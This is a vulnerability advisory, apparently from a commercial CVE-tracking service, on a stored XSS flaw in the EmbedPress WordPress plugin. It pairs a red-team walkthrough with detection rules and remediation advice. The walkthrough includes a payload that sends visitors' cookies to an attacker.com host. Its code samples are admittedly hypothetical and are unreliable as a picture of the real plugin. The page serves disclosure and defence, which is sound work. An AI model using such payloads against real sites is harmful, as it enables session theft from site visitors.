CVE-2024-11203
Executive Summary
CVE-2024-11203 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin, affecting all versions up to and including 4.1.3. The flaw resides in insufficient sanitization of the provider_name parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user accesses a page containing the malicious embed block. The vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.
Given the EPSS score of 0.0%, exploitation is currently not widespread, but the risk remains for targeted attacks. No public proof-of-concept or patch details are available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: Required (victim must visit the page)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate threat, but the potential for stored XSS in a widely-used plugin makes it a significant concern for WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the provider_name parameter used by the EmbedPress plugin when rendering embed blocks. The plugin fails to properly sanitize user input and escape output, allowing an attacker to inject malicious JavaScript. When a Contributor-level user creates or edits a post with an embed block, they can supply a crafted provider_name value containing script tags. This value is stored in the database and later rendered without proper escaping, causing the script to execute in the browser of any visitor viewing the page.
The attack flow:
- Attacker logs in with Contributor-level privileges.
- Attacker creates a new post or page and adds an EmbedPress block.
- Attacker sets the
provider_nameparameter to a malicious payload, e.g.,<script>alert('XSS')</script>. - The payload is stored in the WordPress database.
- When any user (including admins) visits the page, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.1.3):
The plugin likely uses a function like esc_attr() or esc_html() incorrectly, or fails to escape the provider_name parameter entirely. Example vulnerable pattern:
$provider_name = $_POST['provider_name'];
echo "<div class='embedpress-provider'>" . $provider_name . "</div>";
Patched Code (hypothetical):
A proper fix would involve using esc_html() or wp_kses_post() to sanitize the output:
$provider_name = sanitize_text_field($_POST['provider_name']);
echo "<div class='embedpress-provider'>" . esc_html($provider_name) . "</div>";
Since no official patch is available, users should apply input validation and output escaping manually or disable the plugin.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with EmbedPress plugin <= 4.1.3
- Contributor-level account credentials
Exploitation Steps:
- Log in as a Contributor.
- Create a new post and add an EmbedPress block.
- In the block settings, set the
provider_nameparameter to:<script>alert(document.cookie)</script> - Publish the post.
- When any user visits the post, the script executes.
Advanced Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor for posts created by Contributor-level users containing suspicious embed blocks.
- Review database entries for
provider_namevalues containing<script>tags. - Use WAF rules to block common XSS patterns in POST parameters.
Hunting:
- Search for
provider_namein thewp_postmetatable with values containing<script>. - Look for unusual outbound HTTP requests from the WordPress server to unknown domains.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/embedpress/(presence of vulnerable version) - Database: Entries in
wp_postmetawheremeta_keycontainsprovider_nameandmeta_valueincludes<script>tags. - Network: Outbound requests to attacker-controlled domains from the WordPress server.
- Logs: WordPress audit logs showing posts created by Contributor users with unusual embed block parameters.
Detection Engineering
YARA Rule
rule CVE_2024_11203_EmbedPress_XSS {
meta:
description = "Detects stored XSS payloads in EmbedPress provider_name parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11203"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$provider_name = /provider_name/
condition:
$provider_name and $xss_payload
}
Sigma Rule
title: Stored XSS via EmbedPress provider_name Parameter
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2024-11203 by injecting XSS payloads into the provider_name parameter.
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: '/wp-admin/admin-ajax.php'
http.body|contains: 'provider_name'
http.body|contains|re: '<script[^>]*>.*</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in embed blocks (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11203 - Stored XSS in EmbedPress provider_name"; flow:to_server; content:"provider_name"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the EmbedPress plugin until a patch is released.
- Restrict Contributor-level users from creating posts with embed blocks (use role management plugins).
- Implement a Web Application Firewall (WAF) rule to block XSS patterns in POST parameters.
Long-term Fix:
- Apply input sanitization and output escaping to the
provider_nameparameter. - Use WordPress functions like
esc_html(),wp_kses_post(), orsanitize_text_field(). - Monitor the plugin vendor for an official update.
Workaround:
- Edit the plugin source code to add sanitization (not recommended for non-developers).
- Use a security plugin like Wordfence to block XSS attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.